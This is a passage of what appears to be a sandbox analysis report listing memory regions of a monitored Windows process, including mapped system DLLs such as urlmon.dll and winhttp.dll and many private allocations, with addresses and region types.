"windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 5951 start_va = 0x1b0e0000 end_va = 0x1b0e1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b0e0000" filename = "" Region: id = 5952 start_va = 0x7ffb12f00000 end_va = 0x7ffb130b7fff monitored = 0 entry_point = 0x7ffb12f6e630 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\System32\\urlmon.dll" (normalized: "c:\\windows\\system32\\urlmon.dll") Region: id = 5953 start_va = 0x7ffb168d0000 end_va = 0x7ffb16c51fff monitored = 0 entry_point = 0x7ffb16921220 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 5954 start_va = 0x1b0d0000 end_va = 0x1b0d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b0d0000" filename = "" Region: id = 5973 start_va = 0x7ffb1bcc0000 end_va = 0x7ffb1bcf0fff monitored = 0 entry_point = 0x7ffb1bcc7d10 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 5974 start_va = 0x7ffb09ac0000 end_va = 0x7ffb09b5bfff monitored = 0 entry_point = 0x7ffb09b196a0 region_type = mapped_file name = "efswrt.dll" filename = "\\Windows\\System32\\efswrt.dll" (normalized: "c:\\windows\\system32\\efswrt.dll") Region: id = 5975 start_va = 0x7ffb188e0000 end_va = 0x7ffb18a15fff monitored = 0 entry_point = 0x7ffb1890f350 region_type = mapped_file name = "wintypes.dll" filename = "\\Windows\\System32\\WinTypes.dll" (normalized: "c:\\windows\\system32\\wintypes.dll") Region: id = 5976 start_va = 0x7ffb110e0000 end_va = 0x7ffb1112ffff monitored = 0 entry_point = 0x7ffb110e2580 region_type = mapped_file name = "edputil.dll" filename = "\\Windows\\System32\\edputil.dll" (normalized: "c:\\windows\\system32\\edputil.dll") Region: id = 5977 start_va = 0x1d0a0000 end_va = 0x1d29ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d0a0000" filename = "" Region: id = 6012 start_va = 0x1d4a0000 end_va = 0x1d59ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d4a0000" filename = "" Region: id = 6025 start_va = 0x1d5a0000 end_va = 0x1d69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d5a0000" filename = "" Region: id = 6050 start_va = 0x1b0f0000 end_va = 0x1b0fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b0f0000" filename = "" Region: id = 6051 start_va = 0x1b0f0000 end_va = 0x1b0fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b0f0000" filename = "" Region: id = 6065 start_va = 0x1b100000 end_va = 0x1b10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b100000" filename = "" Region: id = 6066 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 6067 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 6087 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 6088 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 6089 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 6090 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 6091 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 6092 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 6093 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 6094 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 6095 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 6109 start_va = 0x1b130000 end_va = 0x1b13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b130000" filename = "" Region: id = 6110 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 6111 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 6112 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 6113 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 6114 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 6115 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 6116 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 6117 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 6118 start_va = 0x1b130000 end_va = 0x1b13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b130000" filename = "" Region: id = 6121 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 6122 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 6123 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 6124 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 6125 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 6126 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 6127 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 6128 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 6129 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 6130 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 6133 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 6134 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 6135 start_va = 0x1b130000 end_va = 0x1b13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b130000" filename = "" Region: id = 6136 start_va = 0x1b140000 end_va = 0x1b14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b140000" filename = "" Region: id = 6137 start_va = 0x1b150000 end_va = 0x1b15ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b150000" filename = "" Region: id = 6143 start_va = 0x1b160000 end_va = 0x1b16ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b160000" filename = "" Region: id = 6144 start_va = 0x1b170000 end_va = 0x1b17ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b170000" filename = "" Region: id = 6145 start_va = 0x1b180000 end_va = 0x1b18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b180000" filename = "" Region: id = 6146 start_va = 0x1b190000 end_va = 0x1b19ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b190000" filename = "" Region: id = 6147 start_va = 0x1b1a0000 end_va = 0x1b1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1a0000" filename = "" Region: id = 6152 start_va = 0x1b890000 end_va = 0x1b8affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b890000" filename = "" Region: id = 6153 start_va = 0x1b8b0000 end_va = 0x1b8cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8b0000" filename = "" Region: id = 6154 start_va = 0x1b1b0000 end_va = 0x1b1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1b0000" filename = "" Region: id = 6155 start_va = 0x1b850000 end_va = 0x1b85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b850000" filename = "" Region: id = 6156 start_va = 0x1b8d0000 end_va = 0x1b8dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8d0000" filename = "" Region: id = 6157 start_va = 0x1b8e0000 end_va = 0x1b8effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8e0000" filename = "" Region: id = 6178 start_va = 0x1b0f0000 end_va = 0x1b0fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b0f0000" filename = "" Region: id = 6179 start_va = 0x1b100000 end_va = 0x1b10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b100000" filename = "" Region: id = 6186 start_va = 0x1b0f0000 end_va = 0x1b0fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b0f0000" filename = "" Region: id = 6187 start_va = 0x1b0f0000 end_va = 0x1b0fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b0f0000" filename = "" Region: id = 6188 start_va = 0x1b100000 end_va = 0x1b10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b100000" filename = "" Region: id = 6200 start_va = 0x7ffaa2e20000 end_va = 0x7ffaa2e2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffaa2e20000" filename = "" Region: id = 6214 start_va = 0x7ffb02da0000 end_va = 0x7ffb02e59fff monitored = 0 entry_point = 0x7ffb02da5d90 region_type = mapped_file name = "rasapi32.dll" filename = "\\Windows\\System32\\rasapi32.dll" (normalized: "c:\\windows\\system32\\rasapi32.dll") Region: id = 6218 start_va = 0x7ffb06340000 end_va = 0x7ffb06367fff monitored = 0 entry_point = 0x7ffb0634c7c0 region_type = mapped_file name = "rasman.dll" filename = "\\Windows\\System32\\rasman.dll" (normalized: "c:\\windows\\system32\\rasman.dll") Region: id = 6219 start_va = 0x7ffb15920000 end_va = 0x7ffb15933fff monitored = 0 entry_point = 0x7ffb15922d50 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll") Region: id = 6220 start_va = 0x7ffb1c0a0000 end_va = 0x7ffb1c0fbfff monitored = 0 entry_point = 0x7ffb1c0b6f70 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 6221 start_va = 0x1b890000 end_va = 0x1b96ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 6222 start_va = 0x1d6a0000 end_va = 0x1d79ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d6a0000" filename = "" Region: id = 6223 start_va = 0x7ffb18570000 end_va = 0x7ffb18637fff monitored = 0 entry_point = 0x7ffb185b13f0 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 6224 start_va = 0x7ffb14e50000 end_va = 0x7ffb14e64fff monitored = 0 entry_point = 0x7ffb14e52dc0 region_type = mapped_file name = "ondemandconnroutehelper.dll" filename = "\\Windows\\System32\\OnDemandConnRouteHelper.dll" (normalized: "c:\\windows\\system32\\ondemandconnroutehelper.dll") Region: id = 6225 start_va = 0x1d7a0000 end_va = 0x1d89ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d7a0000" filename = "" Region: id = 6226 start_va = 0x1b0f0000 end_va = 0x1b0f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\System32\\tzres.dll" (normalized: "c:\\windows\\system32\\tzres.dll") Region: id = 6227 start_va = 0x1b0f0000 end_va = 0x1b0f8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\System32\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\tzres.dll.mui") Region: id = 6228 start_va = 0x1b0f0000 end_va = 0x1b0f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\System32\\tzres.dll" (normalized: "c:\\windows\\system32\\tzres.dll") Region: id = 6229 start_va = 0x1b0f0000 end_va = 0x1b0f8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\System32\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\tzres.dll.mui") Region: id = 6231 start_va = 0x1b0f0000 end_va = 0x1b0f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\System32\\tzres.dll" (normalized: "c:\\windows\\system32\\tzres.dll") Region: id = 6232 start_va = 0x1b0f0000 end_va = 0x1b0f8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\System32\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\tzres.dll.mui") Region: id = 6234 start_va = 0x7ffb14770000 end_va = 0x7ffb14779fff monitored = 0 entry_point = 0x7ffb147714c0 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 6237 start_va = 0x7ffb14fe0000 end_va = 0x7ffb15046fff monitored = 0 entry_point = 0x7ffb14fe63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 6238 start_va = 0x1d8a0000 end_va = 0x1d99ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d8a0000" filename = "" Region: id = 6261 start_va = 0x1b0f0000 end_va = 0x1b0fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b0f0000" filename = "" Region: id = 6262 start_va = 0x1b0f0000 end_va = 0x1b0fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b0f0000" filename = "" Region: id = 6263 start_va = 0x1b0f0000 end_va = 0x1b0fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b0f0000" filename = "" Region: id = 6264 start_va = 0x1b100000 end_va = 0x1b10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b100000" filename = "" Region: id = 6265 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 6266 start_va = 0x1b0f0000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b0f0000" filename = "" Region: id = 6267 start_va = 0x1b130000 end_va = 0x1b13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b130000" filename = "" Region: id = 6268 start_va = 0x1b140000 end_va = 0x1b14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b140000" filename = "" Region: id = 6269 start_va = 0x1b130000 end_va = 0x1b13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b130000" filename = "" Region: id = 6270 start_va = 0x1b970000 end_va = 0x1ba6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b970000" filename = "" Region: id = 6271 start_va = 0x1b130000 end_va = 0x1b13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b130000" filename = "" Region: id = 6272 start_va = 0x1d4a0000 end_va = 0x1d59ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d4a0000" filename = "" Region: id = 6273 start_va = 0x1b130000 end_va = 0x1b13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b130000" filename = "" Region: id = 6274 start_va = 0x1b140000 end_va = 0x1b14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b140000" filename = "" Region: id = 6275 start_va = 0x1b150000 end_va = 0x1b15ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b150000" filename = "" Region: id = 6276 start_va = 0x1b160000 end_va = 0x1b16ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b160000" filename = "" Region: id = 6277 start_va = 0x1d5a0000 end_va = 0x1d69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d5a0000" filename = "" Region: id = 6278 start_va = 0x1b160000 end_va = 0x1b16ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b160000" filename = "" Region: id = 6279 start_va = 0x1b170000 end_va = 0x1b17ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b170000" filename = "" Region: id = 6280 start_va = 0x1b180000 end_va = 0x1b18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b180000" filename = "" Region: id = 6281 start_va = 0x1b190000 end_va = 0x1b19ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b190000" filename = "" Region: id = 6282 start_va = 0x1b1a0000 end_va = 0x1b1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1a0000" filename = "" Region: id = 6283 start_va = 0x1d9a0000 end_va = 0x1da9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d9a0000" filename = "" Region: id = 6284 start_va = 0x1daa0000 end_va = 0x1db9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001daa0000" filename = "" Region: id = 6285 start_va = 0x1b130000 end_va = 0x1b13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b130000" filename = "" Region: id = 6286 start_va = 0x1b1a0000 end_va = 0x1b1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1a0000" filename = "" Region: id = 6287 start_va = 0x1b1b0000 end_va = 0x1b1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1b0000" filename = "" Region: id = 6288 start_va = 0x1b850000 end_va = 0x1b85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b850000" filename = "" Region: id = 6289 start_va = 0x1ba70000 end_va = 0x1ba7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba70000" filename = "" Region: id = 6290 start_va = 0x1dba0000 end_va = 0x1dc9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001dba0000" filename = "" Region: id = 6291 start_va = 0x1b140000 end_va = 0x1b14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b140000" filename = "" Region: id = 6292 start_va = 0x1b140000 end_va = 0x1b14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b140000" filename = "" Region: id = 6293 start_va = 0x1b150000 end_va = 0x1b15ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b150000" filename = "" Region: id = 6294 start_va = 0x1b160000 end_va = 0x1b16ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b160000" filename = "" Region: id = 6295 start_va = 0x1b170000 end_va = 0x1b17ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b170000" filename = "" Region: id = 6296 start_va = 0x1b180000 end_va = 0x1b18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b180000" filename = "" Region: id = 6297 start_va = 0x1b190000 end_va = 0x1b19ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b190000" filename = "" Region: id = 6298 start_va = 0x1ba80000 end_va = 0x1ba8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba80000" filename = "" Region: id = 6299 start_va = 0x1ba90000 end_va = 0x1ba9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba90000" filename = "" Region: id = 6300 start_va = 0x1baa0000 end_va = 0x1baaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001baa0000" filename = "" Region: id = 6301 start_va = 0x1b1b0000 end_va = 0x1b1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1b0000" filename = "" Region: id = 6302 start_va = 0x1dca0000 end_va = 0x1dd9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001dca0000" filename = "" Region: id = 6313 start_va = 0x1b850000 end_va = 0x1b85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b850000" filename = "" Region: id = 6314 start_va = 0x1ba70000 end_va = 0x1ba7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba70000" filename = "" Region: id = 6315 start_va = 0x1bab0000 end_va = 0x1babffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bab0000" filename = "" Region: id = 6316 start_va = 0x1dda0000 end_va = 0x1de9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001dda0000" filename = "" Region: id = 6317 start_va = 0x1bac0000 end_va = 0x1bacffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bac0000" filename = "" Region: id = 6318 start_va = 0x1bad0000 end_va = 0x1badffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bad0000" filename = "" Region: id = 6319 start_va = 0x1bae0000 end_va = 0x1baeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bae0000" filename = "" Region: id = 6320 start_va = 0x1baf0000 end_va = 0x1bafffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001baf0000" filename = "" Region: id = 6321 start_va = 0x1bb00000 end_va = 0x1bb0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb00000" filename = "" Region: id = 6322 start_va = 0x1bb10000 end_va = 0x1bb1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb10000" filename = "" Region: id = 6323 start_va = 0x1bad0000 end_va = 0x1badffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bad0000" filename = "" Region: id = 6324 start_va = 0x1bae0000 end_va = 0x1baeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bae0000" filename = "" Region: id = 6325 start_va = 0x1baf0000 end_va = 0x1bafffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001baf0000" filename = "" Region: id = 6326 start_va = 0x1bb00000 end_va = 0x1bb0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb00000" filename = "" Region: id = 6327 start_va = 0x1baf0000 end_va = 0x1bafffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001baf0000" filename = "" Region: id = 6328 start_va = 0x1dea0000 end_va = 0x1df9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001dea0000" filename = "" Region: id = 6329 start_va = 0x1b130000 end_va = 0x1b13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b130000" filename = "" Region: id = 6330 start_va = 0x1b140000 end_va = 0x1b14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b140000" filename = "" Region: id = 6331 start_va = 0x1b150000 end_va = 0x1b15ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b150000" filename = "" Region: id = 6332 start_va = 0x1b160000 end_va = 0x1b16ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b160000" filename = "" Region: id = 6333 start_va = 0x1b170000 end_va = 0x1b17ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b170000" filename = "" Region: id = 6334 start_va = 0x1b140000 end_va = 0x1b14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b140000" filename = "" Region: id = 6335 start_va = 0x1b140000 end_va = 0x1b14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b140000" filename = "" Region: id = 6336 start_va = 0x1b140000 end_va = 0x1b14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b140000" filename = "" Region: id = 6337 start_va = 0x1b150000 end_va = 0x1b15ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b150000" filename = "" Region: id = 6338 start_va = 0x1b160000 end_va = 0x1b16ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b160000" filename = "" Region: id = 6339 start_va = 0x1b170000 end_va = 0x1b17ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b170000" filename = "" Region: id = 6340 start_va = 0x1b130000 end_va = 0x1b13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b130000" filename = "" Region: id = 6341 start_va = 0x1b130000 end_va = 0x1b13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b130000" filename = "" Region: id = 6342 start_va = 0x1dfa0000 end_va = 0x1e09ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001dfa0000" filename = "" Region: id = 6343 start_va = 0x1b0f0000 end_va = 0x1b0fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b0f0000" filename = "" Region: id = 6344 start_va = 0x1b100000 end_va = 0x1b10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b100000" filename = "" Region: id = 6345 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 6346 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 6347 start_va = 0x1b130000 end_va = 0x1b16ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b130000" filename = "" Region: id = 6348 start_va = 0x1b170000 end_va = 0x1b17ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b170000" filename = "" Region: id = 6349 start_va = 0x1b180000 end_va = 0x1b18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b180000" filename = "" Region: id = 6350 start_va = 0x1b170000 end_va = 0x1b17ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b170000" filename = "" Region: id = 6351 start_va = 0x1b170000 end_va = 0x1b17ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b170000" filename = "" Region: id = 6352 start_va = 0x1b170000 end_va = 0x1b17ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b170000" filename = "" Region: id = 6353 start_va = 0x1b180000 end_va = 0x1b18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b180000" filename = "" Region: id = 6354 start_va = 0x1b190000 end_va = 0x1b19ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b190000" filename = "" Region: id = 6355 start_va = 0x1b170000 end_va = 0x1b17ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b170000" filename = "" Region: id = 6356 start_va = 0x1b170000 end_va = 0x1b17ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b170000" filename = "" Region: id = 6357 start_va = 0x1b170000 end_va = 0x1b17ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b170000" filename = "" Region: id = 6358 start_va = 0x1b170000 end_va = 0x1b17ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b170000" filename = "" Region: id = 6359 start_va = 0x1b180000 end_va = 0x1b18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b180000" filename = "" Region: id = 6360 start_va = 0x1b190000 end_va = 0x1b19ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b190000" filename = "" Region: id = 6361 start_va = 0x1b1a0000 end_va = 0x1b1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1a0000" filename = "" Region: id = 6362 start_va = 0x1b190000 end_va = 0x1b19ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b190000" filename = "" Region: id = 6363 start_va = 0x1b1a0000 end_va = 0x1b1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1a0000" filename = "" Region: id = 6364 start_va = 0x1b1b0000 end_va = 0x1b1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1b0000" filename = "" Region: id = 6365 start_va = 0x1b850000 end_va = 0x1b85ffff 